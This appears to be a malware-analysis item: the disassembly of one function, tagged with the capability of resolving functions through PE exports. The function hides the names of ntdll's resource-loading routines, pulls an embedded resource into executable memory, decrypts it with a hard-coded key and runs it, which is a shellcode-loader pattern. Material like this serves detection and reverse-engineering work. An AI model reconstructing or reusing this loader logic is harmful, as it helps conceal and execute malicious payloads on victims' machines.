Function at 0x402c40
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x426226
mov eax, dword fs:[0]
push eax
sub esp, 0xcc
mov eax, dword [0x433bb0]
xor eax, esp
mov dword [esp + 0xc8], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x433bb0]
xor eax, esp
push eax
lea eax, [esp + 0xe0]
mov dword fs:[0], eax
xor ebx, ebx
lea ecx, [ecx]
push ebx
call fcn.0040fd79
push eax
call fcn.0041031a
add esp, 8
call fcn.0041032c
and eax, 0x80000003
jns 0x402ca0
dec eax
or eax, 0xfffffffc
inc eax
inc eax
cmp eax, 3
jle 0x402c80
push 8
mov ebp, 0xf
push str.LdrAcces
lea ecx, [esp + 0xc8]
mov dword [esp + 0x28], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x30], 0x1155
mov dword [esp + 0x34], 0x1e55
mov dword [esp + 0x38], 0x409
mov dword [esp + 0xe0], ebp
mov dword [esp + 0xdc], ebx
mov byte [esp + 0xcc], bl
call fcn.00402150
push 9
push str.sResource
lea ecx, [esp + 0x3c]
mov dword [esp + 0xf0], ebx
mov dword [esp + 0x54], ebp
mov dword [esp + 0x50], ebx
mov byte [esp + 0x40], bl
call fcn.00402150
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0xc4]
push ecx
lea edx, [esp + 0xac]
push edx
mov byte [esp + 0xf4], 1
call fcn.00402380
add esp, 0xc
push 4
push str.LdrF
lea ecx, [esp + 0x58]
mov byte [esp + 0xf0], 2
mov dword [esp + 0x70], ebp
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
call fcn.00402150
push 0xd
push str.indResource_U
lea ecx, [esp + 0x74]
mov byte [esp + 0xf0], 3
mov dword [esp + 0x8c], ebp
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
call fcn.00402150
lea eax, [esp + 0x6c]
push eax
lea ecx, [esp + 0x54]
push ecx
lea edx, [esp + 0x90]
push edx
mov byte [esp + 0xf4], 4
call fcn.00402380
add esp, 0xc
mov esi, dword [esp + 0x8c]
mov eax, 0x10
mov byte [esp + 0xe8], 5
mov dword [esp + 0x18], ebx
cmp dword [esp + 0xa0], eax
jae 0x402dd3
lea esi, [esp + 0x8c]
mov edi, dword [esp + 0xa8]
cmp dword [esp + 0xbc], eax
jae 0x402dea
lea edi, [esp + 0xa8]
mov eax, str.ntdll.dll
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402df2
lea ecx, [esp + 0x18]
push ecx
sub eax, edx
push eax
push str.ntdll.dll
call fcn.004018c0
add esp, 8
push eax
push ebx
call sub.KERNEL32.dll_GetModuleHandleExA
test eax, eax
je 0x402e70
mov eax, esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402e20
sub eax, edx
push eax
push esi
call fcn.004018c0
mov edx, dword [esp + 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 8
push eax
push edx
call esi
mov dword [0x4351e8], eax
mov eax, edi
lea edx, [eax + 1]
jmp 0x402e50
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402e50
sub eax, edx
push eax
push edi
call fcn.004018c0
add esp, 8
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov dword [0x4351e4], eax
lea ecx, [esp + 0x24]
push ecx
push 3
lea edx, [esp + 0x30]
push edx
push 0x400000
call dword [0x4351e8]
test eax, eax
jl 0x402ea5
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x24]
push ecx
push edx
push 0x400000
call dword [0x4351e4]
mov eax, dword [esp + 0x14]
push ebx
push 0x40
push 0x1000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x4351ec]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
push ecx
mov esi, eax
push edx
push esi
call fcn.0040fdd0
lea eax, [esp + 0x28]
push eax
push 0x4d
push str.pTPq_GGZq0_AJCOr_Wpj6OmKKk_8cfh2ZmTAkI__bzuxx_rihHYtl4_N3seu_MYS_WFVS_7_Tz
call fcn.00401a00
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x34]
push ecx
push edx
push esi
call fcn.00402b10
add esp, 0x24
call esi
mov esi, 0x10
cmp dword [esp + 0xa0], esi
jb 0x402f16
mov eax, dword [esp + 0x8c]
push eax
call fcn.004033af
add esp, 4
mov dword [esp + 0xa0], ebp
mov dword [esp + 0x9c], ebx
mov byte [esp + 0x8c], bl
cmp dword [esp + 0x84], esi
jb 0x402f41
mov ecx, dword [esp + 0x70]
push ecx
call fcn.004033af
add esp, 4
mov dword [esp + 0x84], ebp
mov dword [esp + 0x80], ebx
mov byte [esp + 0x70], bl
cmp dword [esp + 0x68], esi
jb 0x402f66
mov edx, dword [esp + 0x54]
push edx
call fcn.004033af
add esp, 4
mov dword [esp + 0x68], ebp
mov dword [esp + 0x64], ebx
mov byte [esp + 0x54], bl
cmp dword [esp + 0xbc], esi
jb 0x402f8b
mov eax, dword [esp + 0xa8]
push eax
call fcn.004033af
add esp, 4
mov dword [esp + 0xbc], ebp
mov dword [esp + 0xb8], ebx
mov byte [esp + 0xa8], bl
cmp dword [esp + 0x4c], esi
jb 0x402fb3
mov ecx, dword [esp + 0x38]
push ecx
call fcn.004033af
add esp, 4
mov dword [esp + 0x4c], ebp
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
cmp dword [esp + 0xd8], esi
jb 0x402fd8
mov edx, dword [esp + 0xc4]
push edx
call fcn.004033af
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0xe0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0xc8]
xor ecx, esp
call fcn.0040fb1e
add esp, 0xd8
ret